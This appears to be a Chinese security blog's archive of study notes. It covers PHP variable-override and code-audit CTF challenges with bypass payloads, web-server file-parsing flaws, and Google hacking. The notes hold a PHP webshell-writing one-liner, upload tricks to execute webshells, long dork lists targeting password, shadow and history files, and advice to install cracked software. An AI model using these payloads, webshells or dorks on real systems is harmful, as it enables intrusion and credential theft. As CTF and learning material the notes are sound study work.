变量覆盖漏洞

变量覆盖漏洞

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值
推荐阅读代码审计|变量覆盖漏洞

1.exartact函数

exartact()函数的作用是从传入数组中将变量导入当前符号表中,键名是变量名,键值是变量值。

注:符号表是记录符号属性的表,它的每一表项表示一个标识符的属性信息.这些属性信息通常包括种类(常数,变量,数组,标号等),类型(整型,实型,逻辑型,字符型等),给名字分配的存储单元地址等。

该函数有三个参数var_array(必须,规定输入)、extract_type(可选,检查每个键名是否为合法变量)、prefix

该函数出现变量覆盖漏洞通常有两种情况:
(1)二参为EXTR_OVERWRITE,它表示有冲突时覆盖已有变量
(2)只有一参,默认二参为EXTR_OVERWRITE

这道变量覆盖的ctf题中,extract函数是获取post传参后的以数组形式传入符号表,我们post传入pass=0&thepassword_123=0,将thepassword_123变量值赋值为0

2.parse_str函数

该函数作用是解析字符串并且注册成变量,在注册变量之前不会验证变量是否已经存在,直接覆盖
语法:
parse_str(string,array)

1
2
3
4
5
<?php
$b=1;
parse_str('b=2');
print_r(%$b);
?>

输出的b的值变为了2

例:某ctf

1
2
3
4
5
 $id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
PAYLOAD: ?id=a[0]=240610708
3.import_request_variables函数

该函数是把GET,POST,COOKIE的参数注册为变量,用在register_globals被禁止的时候

1
bool import_request_variables ( string $types [, string $prefix ] )

  $type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀   

1
2
3
4
5
<?php
$a = 1; //原变量值为1
import_request_variables('GP'); //传入参数时注册变量
print_r($a); //输出结果为2
?>
4.$$变量覆盖

$$常常用在foreach函数中
例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

//?name=test

//output:string(4) “name” string(4) “test” string(4) “test” test

$name=’thinking’;

foreach ($_GET as $key => $value)

$$key = $value;#$key=name,$$key=$name

var_dump($key);


var_dump($value);

var_dump($$key);

echo $name;#会输出test

?>

foreach函数将get参数存入数组,我们构造payload:index.php?name=meizijiu233,name作为变量存入,$$key=$name=meizijiu233;判断通过

代码审计类ctf记录

1.php strcmp()漏洞

1
int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
该漏洞是用于php5.3之前的版本
该函数要求是上传字符串进行比较,当我们传入非法参数时,如数组,在php5.3之前函数会报错,return 0!刚好和两个字符串相等返回0的结果一样

1
2
3
4
5
6
7
8
9
10
11
12
13
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

payload:pass[]=1

2.php://输入输出流

输入输出流主要包括三种:
php://input:直接读取post上没有经过解析的原始数据

php://output:将post流数据输出

php://filter:(常用在XXE漏洞中)文件操作协议,对磁盘文件进行读写,类似于readflie()、file()、flie_get_conments()

image

1
2
3
$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;

这道题要的是获取flie传入的文件,提取内容与meizijiu进行比较,我们可以利用php://input
image

3.进制转换绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

这段代码要的是get参数key的值与54975581388相等,但是每一位字符串的assic码要在0到9之外,这里我们可以将54975581388十六进制转码成0xccccccccc绕过

又一道题
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
you are not the number of bugku !   

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

这里要求传入是三个参数txt、file、password

  • txt:txt参数传给了user变量,file_get_contents($user,’r’)===”welcome to the bugkuctf”,这里我们可以用到php输入流post传值
  • flie:刚开始我以为因为是include()函数我直接将file=hint.php就可以得出hint.php的值,这里没有考考虑到hint.php的路径问题,所以我们应该使用php://filter
  • password:这里没有对passwor进行限制,可以随意处置
    payload:?txt=php://input&file=php://filter/content.base64-encode/resoursce=hint.php
    post:welcome to the bugkuctf
    得到一个base64的代码,解码得到
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

我再次用PHP://filter读取flag.php,它告诉我不能现在就给我flag,后面就搞不懂了

4.超全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ #判断args参数是否存在
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){#用正则判断看srgs变量中是否有字母及数字,有函数返回1,否0,所以这里让你只能输入字母和数字
die("args error!");
}
eval("var_dump($$args);");
}
?>

这道题的关键是var_dump函数输出变量的类型和内容,这里就要抠脑壳了,怎么知道flag在哪个变量
看书才发现可以使用$GLOBALS超全局数组调用系统中的所有变量和常量以及对象和对象中的属性变量值
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP在名为$GLOBALS[index]的数组中存储了所有全局变量。变量的名字就是数组的键。
这样我们就给变量赋值args=GLOBALS,使变量为存储了所有变量的数字

5.变量覆盖+php输入输出流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);#存在变量覆盖漏洞
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));#看到file_get_contents想到PHP://输入输出
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

因为这两种漏洞都写了,只是记住了一道题可以运用多种方法混合区解答
image
get传参利用了变量覆盖,将shiyan与content都赋值为0从而绕过,但是由于在覆盖变量之后,会给content重新赋值,所以看到了file_get_contents函数,想到了PHP输入流post传参,通过修改flag的值将content值进行修改

6.URLencode二次编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "

Access granted!
";
echo "

flag
";
}

首先eregi函数在id参数中查找有没有hackerDJ字符,有则返回0,所以这里我们不能直接赋值hackerDJ,题目提示了二次编码,这里的get传参时已经进行了一次urldecode解码,后面又通过urldecode函数进行了二次解码,所以经过上面这些提示,就是对hackerDJ进行urlencode二次编码,传入参数就是hackerDJ,又到了抠脑壳的时候,为什么hackerDJ用工具编码后还是不变,看了人家的解答后才知道这种纯字符是不能用工具解码的,要对照编码表解码
image
image

7.数组返回NULL绕过or%00截断

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

ereg函数查找password

8.一道综合题

never never never give up!!!
这道题点开源码发现提示

1
2
3
<!--1p.html-->
never never never give up !!!

于是打开1p.html,但是发现重定向了,于是直接view-source:得到一串base64编码的代码

1
JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==

解码得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>

这里设置了三个get参数id、a、b,分别对应了三种不同的代码绕过机制

  • id:关于id的值id==0,并不是说是字符零,而是数字0,所以我们只需要给id赋值一个无数字字符串,无数字字符串在比较时会强制类型转换为数字0
  • a:a必须为“bugku is a nice plateform!”首先一个stripos($a,’.’)函数,限制了a不能从外部引用文件,但又出现了file_get_contents,我们想到了input输入流的形式进行post传参
  • b:b的长度通过strlen($b)>5限制为5以内,eregi(“111”.substr($b,0,1),”1114”)表示b中必须要有4,但是substr($b,0,1)!=4,所以我们想到了%00截断

构造payload:?id=@&a=php://input&b=%0044444 ,
post:bugku is a nice plateform!

9.正则表达式匹配

1
2
3
4
5
6
7
8
 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

这道题考察的是正则表达式的匹配

/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i

首先是一个字符串key,后面.表示匹配除/n之外的所有单字符,*表示前面的单字符重复0次或多次,.{4,7}又表示重复除/n以外的单字符4到7次,后面再跟字符串key:,这里\/将/转义,后面(.*key)就是单字符+key,[a-z]表示从中选一个字母,[[:punct:]]表示匹配标点符号
payload:?id=key.key…..key:/./.keya;

10.INSERT INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);#没有报错回显

function getIp(){#获取真实ip
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){#先查看X-Forworded-For头是否设置,取其值
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);#将ip变量中的字符串以,为间隔打散成数组
return $ip_arr[0];#所以后面构造sql语句时不能出现,

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");#链接数据库

mysql_select_db($db) or die("Unable to select database");#查询数据库

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')" ;#向client_ip表中插入变量ip的值
mysql_query($sql);

文件解析漏洞学习

文件解析漏洞学习

解析漏洞主要说的是一些特殊文件被IIS、Apache、nginx在某种情况下解释成脚本文件格式的漏洞

一、IIS6.0解析漏洞

1.目录解析

当文件夹名字以.asp、.asa结尾时,文件夹内的所有文件都将以asp的格式解析,我们就可以想办法修改文件夹名称,再上传任意格式的一句话木马在该文件夹中,从而绕过验证。

2.文件解析

在IIS中解析文件名,系统通常都是从左到右读取文件名,假如我们上传一个文件1.asp;jpg,在前端验证时直接从后面读取文件名.jpg,上传成功!而在服务器中则是以.asp格式解析。
也可以使用bp抓包改包绕过前端验证。
还有一种就是利用重定向,在IIS6.0中安装了Rewrite这个ISAPI,下载ISAPIrewrite破解版 点击下载此文件
安装之后把Cracked里的ISAPI_Rewrite.dll,替换掉安装目录里的ISAPI_Rewrite.dll,就破解了。注意,停掉IIS再替换!

在httpd.ini加入了以下规则

1
2
3
4
5
6
7
8
RewriteRule (.*).asp/(.*) /no.gif  
RewriteRule (.*).Asp/(.*) /no.gif
RewriteRule (.*).aSp/(.*) /no.gif
RewriteRule (.*).asP/(.*) /no.gif
RewriteRule (.*).ASp/(.*) /no.gif
RewriteRule (.*).AsP/(.*) /no.gif
RewriteRule (.*).aSP/(.*) /no.gif
RewriteRule (.*).ASP/(.*) /no.gif

这样访问所有的带有“.asp/”的URL全部被重写到http://test.com/no.jpg,访问http://test.com/dir.asp/diy.jpg其实就是访问的http://test.com/no.jpg
这样就屏蔽了所有带.asp的文件夹的访问,并且全部显示no.jpg这张警告的图片

二、Apache解析漏洞

与IIS相反,Apache解析文件时是从右往左读取文件名,如果遇到不可解析的文件后缀名就继续向左解析,如1.php.xxx,后面的.xxx是Apache无法解析的后缀,则该文件将被解析为PHP格式

三、IIS 7.0/IIS 7.5/nginx<8.03畸形解析漏洞

在默认fast-CGI开启下,我们将以下内容的PHP文件

1
<?PHP fputs(fopen(’shell.php’,’w’),’<?php eval_r($_POST[cmd])?>’);?>

修改为jpg文件上传,假如图片路径为http://xxx.com/xxx/1.jpg,我们需要访问地址http://xxx.com/xxx/1.jpg/shell.php,就会在当前xxx路径下生成shell.php文件,文件内容即为,上传一句话木马成功!

四、Nginx <8.03空字节代码执行漏洞

试用版本:0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
这个漏洞也是用了%00截断,访问嵌入一句话木马的图 片如xx.jpg改变成xxx.jpg%00.php来执行其中代码

五、.htaccess文件解析

.htaccess是什么?
.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。
在这个漏洞里我们又要利用到指令,这个指令是用于包含作用于与正则表达式匹配的文件名,执行此漏洞的前提是Apache中.htaccess可被执行、可被写入。我们写入

1
<FlilesMatch  "shell.jpg"> SetHandler application/x-httpd-php </FlilesMatch>

再上传shell.jpg的一句话木马,就可以以PHP格式执行。
参考:
通杀IIS7.0畸形解析0day漏洞
Nginx %00空字节执行php漏洞
.htaccess重写、安全防护、文件访问权限
Apache对文件后缀解析的分析利用
cracer渗透教程

Google hacking利用简介

GOOGLE HACKING(转)

一.Google Hacking背景:

Google 是全球功能最强大的搜索引擎之一。伴随其强大的功能产生了利用Google 进行的黑客活动——Google Hacking。其攻击范围相当广,包括:国防军事、企业密函、个人财产和安全等等。不怀好意的黑客们往往利用Google去寻找有漏洞的服务器和文件、 口令记录、公开的目录、基于网络的设备管理台等等。由此可见,Google hacking 的巨大的威胁性以及研究的必要性。
1995年Johnny Long开始研究利用Google来测试网站和电脑的安全隐患,由此而发展了Google hacking,他建立的 http://johnny.ihackstuff.com/ 现今成为Google Hacking Data-base。2004年 Robert Masse 和 Jian Hui Wang全面分析了Google hacking的四大应用,同时给出利用相关工具的例证和防范Google hacking的方法。目前相关的研究报告各自有侧重点,没能够很好的从整体角度来全面的分析Google hacking的产生原因,总体归纳出高级攻击方式和攻击规律,系统的介绍相关应用软件以及防范Google hacking的具体实例。本文将就此利用相关实例具体说明。

二.Google Hacking 的常见方式:

1. 基本搜索方式

Google提供了强大的搜索功能:

常用的基本搜索指令有:
(1)逻辑与/或:AND、OR
(2)逻辑非:-
(3)完整匹配:”…”
(4)通配符:* ?

2.高级搜索指令

Google高级预定义搜索语法如下:
intitle:表示搜索在网页标题中出现第一个关键词的网页。
例如“intitle:黑客技术 ”将返回在标题中出现“黑客技术 ”的所有链接。 用“allintitle: 黑客技术 Google”则会返回网页标题中同时含有 “黑客技术” 和 “Google” 的链接。

intext:返回网页的文本中出现关键词的网页。用allintext:搜索多个关键字。

inurl:返回的网页链接中包含第一个关键字的网页。

site:在某个限定的网站中搜索。

filetype:搜索特定扩展名的文件(如.doc .pdf .ppt)。
黑客们往往会关注特定的文件,例如:.pwl口令文件、.tmp临时文件、.cfg配置文件、.ini系统文件、.hlp帮助文件、.dat 数据文件、.log日志文件、.par交换文件等等。

link:表示返回所有链接到某个地址的网页。

related:返回连接到类似于指定网站的网页。

cache:搜索Google缓存中的网页。

info:表示搜索网站的摘要。例如“info:whu.edu.cn”仅得到一个结果:

phonebook: 搜索电话号码簿,将会返回美国街道地址和电话号码列表,这无疑给挖掘个人信息的黑客带来极大的便利。

同时还可以得到住宅的全面信息,结合Google earth将会得到更详细的信息。相应的还有更小的分类搜索:rphonebook:仅搜索住宅用户电话号码簿;bphonebook:仅搜索商业的电话号码簿。

另外,还有一些不常用的搜索指令。列表如下:(此列表转载自网络)
author:搜索新闻组帖子的作者。
group:搜索Google组搜索词汇帖子的题目。
msgid:搜索识别新闻组帖子的Google组信息标识符和字符串。
insubject:搜索Google组的标题行。
stocks:搜索有关一家公司的股票市场信息。
define:返回一个搜索词汇的定义。
inanchor:搜索一个HTML标记中的一个链接的文本表现形式。
daterange:搜索某个日期范围内Google做索引的网页。

3. Google hacking常见的攻击规律

Google hacking主要是发现那些 公告文件,安全漏洞,错误信息, 口令文件, 用户文件, 演示页面,登录页面, 安全文件, 敏感目录,商业信息,漏洞主机, 网站服务器检测等信息。攻击规律有:

A.利用“Index of”语法检索出站点的活动索引目录

Index 就是主页服务器所进行操作的一个索引目录。黑客们常利用目录获取密码文件和其他安全文件。常用的攻击语法如下:
Index of /admin 可以挖掘到安全意识不强的管理员的机密文件:

黑客往往可以快速地提取他所要的信息。其他Index of 语法列表如下:(此列表为转载)
Index of /passwd
Index of /password
Index of /mail
“Index of /” +passwd
“Index of /” +password.txt
“Index of /” +.htaccess
“Index of /secret”
“Index of /confidential”
“Index of /root”
“Index of /cgi-bin”
“Index of /credit-card”
“Index of /logs”
“Index of /config”

B、利用“inurl:”寻找易攻击的站点和服务器

(1)利用“allinurl:winnt/system32/”寻找受限目录“system32”,一旦具备 cmd.exe 执行权限,就可以控制远程的服务器。

(2)利用“allinurl:wwwboard/passwd.txt”搜寻易受攻击的服务器。

(3)利用“inurl:.bash_history”搜寻服务器的“.bash_history”文件。这个文件包括超级管理员的执行命令,甚至一些敏感信息,如管理员口令序列等。例如:

(4)利用“inurl:config.txt”搜寻服务器的“config.txt”文件,这个文件包括管理员密码和数据认证签名的hash值。

(5)其他语法的搜索。(如下分类为转载)
    inurl:admin filetype:txt
    inurl:admin filetype:db
    inurl:admin filetype:cfg
    inurl:mysql filetype:cfg
    inurl:passwd filetype:txt
    inurl:iisadmin
    allinurl:/scripts/cart32.exe
    allinurl:/CuteNews/show_archives.php
    allinurl:/phpinfo.php
    allinurl:/privmsg.php
    allinurl:/privmsg.php
    inurl:auth_user_file.txt
    inurl:orders.txt
    inurl:“wwwroot/*.”
    inurl:adpassword.txt
    inurl:webeditor.php
    inurl:file_upload.php
    inurl:gov filetype:xls “restricted”
    index of ftp +.mdb allinurl:/cgi-bin/ +mailto     

C、利用“intitle:”寻找易攻击的站点或服务器

(1)利用 intitle:”php shell*” “Enable stderr” filetype:php查找安装了php webshell后门的主机,并测试是否有能够直接在机器上执行命令的web shell。(http://worldispnetwork.com/phpinfo.php)

(2)利用allintitle:“index of /admin”搜寻服务器的受限目录入口“admin”。

  (3)其他语法的搜索。(如下分类为转载)
    intitle:“Index of” .sh_history
    intitle:“Index of” .bash_history
    intitle:“index of” passwd
    intitle:“index of” people.lst
    intitle:“index of” pwd.db
    intitle:“index of” etc/shadow
    intitle:“index of” spwd
    intitle:“index of” master.passwd
    intitle:“index of” htpasswd
    intitle:“index of” members OR accounts
    intitle:“index of” user_carts OR user_cart
    allintitle: sensitive filetype:doc
    allintitle: restricted filetype :mail
    allintitle: restricted filetype:doc site:gov     

Johnny Long在《Google hacking for penetration testers》中详细的介绍Google hacking的常用高级搜索方式,详细列表如下:(此列表转载自网络)

For site
site:csdn.net –www.csdn.net –blog.csdn.net/cnasp
inurl:nqt.php intitle: “network query tool”
inurl:”/cgi-bin/userreg.cgi”
filetype:asp “custom error message”
“asp.net_sessionid” “data source=”
Intext: “warning:failed opening” include_path
“http_from=googlebot” googlebot.com “server_software”
intitle:”lantronix web-managerintitle:”lantronix web-manager”
intitle:”index of “ back files
inurl:admin backup
allinurl:admin backup
filetype:doc doc
info:blog.csdn.net
related:www.sina.com
define:ironic
site:blog.csdn.net inurl:csdn
intitle:index.of “parent directory”
intitle:index.of inurl:admin
intitle:index.of ws_ftp.log
intitle:index.of “server at”
intitle:index.of inurl:”admin/*”

For Web Servers
“AnWeb/1.42h” intitle:index.of
“Apache Tomcat/“ intitle:index.of
“Apche-AdvancedExtranetServer/“ intitle:index.of
“Apach/df-ets” intitle:index.of
“Apach/“ “server at” intitle:index.of
“Apache/AmEuro” intitle:index.of
“Apache/Blast” intitle:index.of
“Apache/WWW” intitle:index.of
“Apache/df-exts” intitle:index.of
“CERN httpd 3.0B (VAX VMS)” intitle:index.of
fitweb-wwws * server at intitle:index.of
HP Apache-based Web “Server/“ intitle:index.of
OpenSSL/0.9g intitle:index.of
“httpd+ssl/kttd” * server at intitle:index.of
“JRun Web Server” intitle:index.of
“MaXX/3.1” intitle:index.of
“Microsoft-ISS/*” server at intitle:index.of
“Microsoft-ISS/
“ intitle:index.of
“OmniHTTPd/2.10” intitle:index.of
“OpenSA/1.0.4” intitle:index.of
“Oracle HTTP Server Powered by Apache” intitle:index.of
“Red Hat Secure/“ server at intitle:index.of
SEDWebserver * server at intitle:index.of
“Apache/*” intitle:index.of
“Apache/
“ server at intitle:index.of
filetype:pst pst(contacts | address | inbox)
filetype:reg reg +intext: “internet account manager”

For E-Mail Address
“Internal server error” “server at”
Intitle:”execution of this script not permitted”
e-mail address filetype:csv csv
intitle:index.of dead.letter
inurl:fcgi-bin/echo
filetype:pst pst –from –to –data
intitle:inde.of inbox
intitle: “index of “ –inurl:maillog maillog size
inurl:email filetype:mdb
filetype:xls inrul: “email.xls”
filetype:xls username password email
intitle:index.of inbox dbx
filetype:eml eml eml +intext: “subject” +intext: “from”
intitle:index.of inbox dbx
filetype:wab wab
filetype:pst inrul: “outlook.pst”
filetype:mbx mbx intext:subject
inurl:cgi-bin/printenv
inurl:forward filetype:forward –cvs
filetype:mail intext:password subject
filetype:eml intext:password subject
filetype:mbx intext:password subject
filetype:mbx intext:password subject

For network devices
inurl:indexframe.shtml axis
intitle: “live view / -axis”
intitle: “live view/ -axis”
inurl:view/view.sht
intitle: “the axis 200 home page”
intitle:liveapplet inurl:lvappl
intext: “mobotix m1” intext: “open menu”
intitle; “viewerframe?mode=”
snc-rz30 home
intitle:flexwatch intext: “home page ver”
intitle:snc-z20 inurl:home/
“powered by webcamxp” “pro\broadcast”
Intitle: “remote ui:top page”
(“fiery webtools” inurl:index2.html)
“webtools enable observe, , flow print jobs”
Intitle: “network administration” inurl: “nic”
Inurl:sts_index.cgi
Intitle:ricoh intitle: “network administration”
Intitle: “view and configure phaserlink”
Inurl:live_status.html
“phaser 6250” “printer neighborhood”
“phaser? 740 color printer” “printer named:” phaserlink
“phaser 8200” “? xerox” “refresh” “email alerts”
phaser? 840 color printer
intext:centreware inurl:status
intitle: “Xerox workcentre pro -index”

For usernames
“your username is”
Inurl:admin inurl:userlist
Inurl:admin filetype:asp
Inurl:userlist
Inurl:php inurl:hlstats intext;server username
Filetype:ctl inurl:haccess.ctl basic
Filetype:reg reg intext: “internet account manager”
Filetype:wab wab
Filetype:mdb inurl:profiles
Index.of perform.ini
Inurl:root.asp?acs=anon
Filetype:conf inurl:proftpd.conf –sample
Filetype:log username putty
Filetype:rdp rdp
Intitle:index.of .bash_history
Intitle:index.of .sh_history
“index of “ lck
+intext:webalizer +intext:total usernames +intext: “usage statistics for”
Filetype:reg reg hkey_current_user username

For password information
Inurl:/db/main.mdb
Filetype:cfm “cfapplication name” password
Filetype:pass pass intext:userid
Allinurl:auth_user_file.txt
Eggdrop filetype:user user
Filetype:ini inurl:flashfxp.ini
Filetype:url +inurl: ftp:// +inurl: “@”
Inurl:zebra.conf intext:password –sample –test –tutorial –download
Filetype:htpasswd htpasswd
Intitle: “index of” “.htpasswd” “htgroup” –intitle: “dist” –apache –htpasswd.c
Intitle: “index of” “.htpasswd” htpasswd.bak
http://.@www bob:bob “sets mode: +k”
“your password if * remember this for later use”
Signin filetype:url
Leapftp intile: “index.of./“ sites.ini modified
Inurl:lilo.conf filetype:conf password –tatercounter2000 –bootpwd –man
Filetype:config config intext:appsettings “user id”
Filetype:pwd service
Intitle:index.of administrators.pwd
“# -frontpage-“inurl:service.pwd ext:pwd inurl:_vti_pvt inurl:(service|authos|administrators)
Inurl: “index of “intext:globals.inc/.bak
Filetype:confoekakibbs
Filetype:dat wand.dat
Inurl:ospfd.conf intext:password –sample –test –tutorial –download
Index.of passlist
Inurl:passlist.txt
Filetype:dat “password.dat”
Inurl:password.log filetype:log
Filetype:log inurl: “password.log”
Inurl:people.lst filetype:lst
Intitle:index.of config.php
Inurl:config.php dbuname dbpass
Inurlnuke filetype:sql
Filetype:conf inurl:psybnc.conf “user.pass=”
Filetype:ini servudaemon
Filetype:conf slapd.conf
Inurl: “slapd.conf” intext: “credentials” –manpage -“manual page” –man: -sample
Inurl: “slapd.conf” intext: “rootpw” –manpage -“manual page” –man: -sample
Filetype:sql “identified by” –cvs
Filetype:sql password
Filetype:ini wcx_ftp
Filetype:netrc password
Index.of.etc tial files
Intitle: “index of ..etc” passwd
Intitle:index.of passwd passwd.bak
Intitle: “index of” pwd.db
Intitle:index.of etc shadow
Intitle:index.of master.passwd
Intitle: “index of” spwd.db passwd –pam.conf
Filetype:bak inurl: “htaccess| passwd |shadow |htusers”
Filetype:inc dbconn
Filetype:inc intext:mysql_connect
Filetype:properties inurl:db
Intext:password
Inurl:vtund.conf intext:pass –cvs
Inurl: “wvdial.conf” intext; “password”
Filetype:mdb wwforum
“autocreate=true password=*”
Filetype:pwl pwl
Filetype:reg reg +intext; “defaultusername” intext: “defaultpassword”
Filetype:reg reg +intext: “internet account manager”
Filetype:xls username password email
Filetype:xls inurl: “password.xls”
Filetype;xls private
Inurl:admin filetype:xls
Filetype:xls inurl:contact
Filetype:xls inurl: “email.xls”
Allinurl:admin mdb
Filetype:mdb inurl:users.mdb
Inurl:email filetype:mdb
Inurl:backup filetype:mdb
Inurl:profiles filetype:mdb
Inurl:*db filetype:mdb

For sql database dumps
Inurl:nuke filetype:sql
Filetype:sql password
Filetype:sql “indetified by” –cvs
“#dumping data for table username user users password”
“#mysql dump” filetype:sql
“#phpmyadmin mysql-dump” filetype:txt
“#phpmyadmin mysql-dump”
“insert into” –”the

For database files
Filetype:cfm “cfapplication name “ password
Filetype:mdb inurl:user.mdb
Inurl:email filetype:mdb
Inurl:forum filetype:mdb
Inurl:/db/main.mdb
Inurl:profiles filetype:mdb
Filetype:asp dbq=”* server.mappath(“mdb”)”
Allinurl;admin mdb

三.Google Hacking 工具分析

常见Google Hacking的工具有 gooscan goolink wikto Athena Sitedigger

A.Gooscan

gooscan是UNIX系统下对google的搜寻工具,可自动查询,用作外部服务器评估和信息收集阶段目标的攻击性评价终端。)

B.Athena 支持开放的XML配置和多种搜索引擎,相当于hacker搜索集成工具。
C.Wikto

可以寻找到网页索引文件,如通讯录和档案网址。同时它还能搜寻出滥用的脚本和可以直接执行命令的网络服务器。Googler的主要功能是发现站点的索引目录,需要一个 Google web API key。

D.SiteDigger

Sitedigger 能够批量处理搜索要求。在获取Google API 许可文件之后可以通过搜索引擎自动的寻找出站点的易受攻击点。
(参照 Kartik Trivedi 《Identifying Information Leakage Using Search Engines》)

Goolink 能够删除用户检索的缓存,收集和显示你所需要的链接,很容易发现向google敞开的攻击弱点,并且可以自定义搜索方式或者导入 Googledorks 文件。

四。防范措施

提出反搜索引擎的架构(处于完善阶段……)

正则表达式学习笔记

正则表达式学习笔记

定义

正则表达式regular expression(也称“regex”或“regexp”)是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。

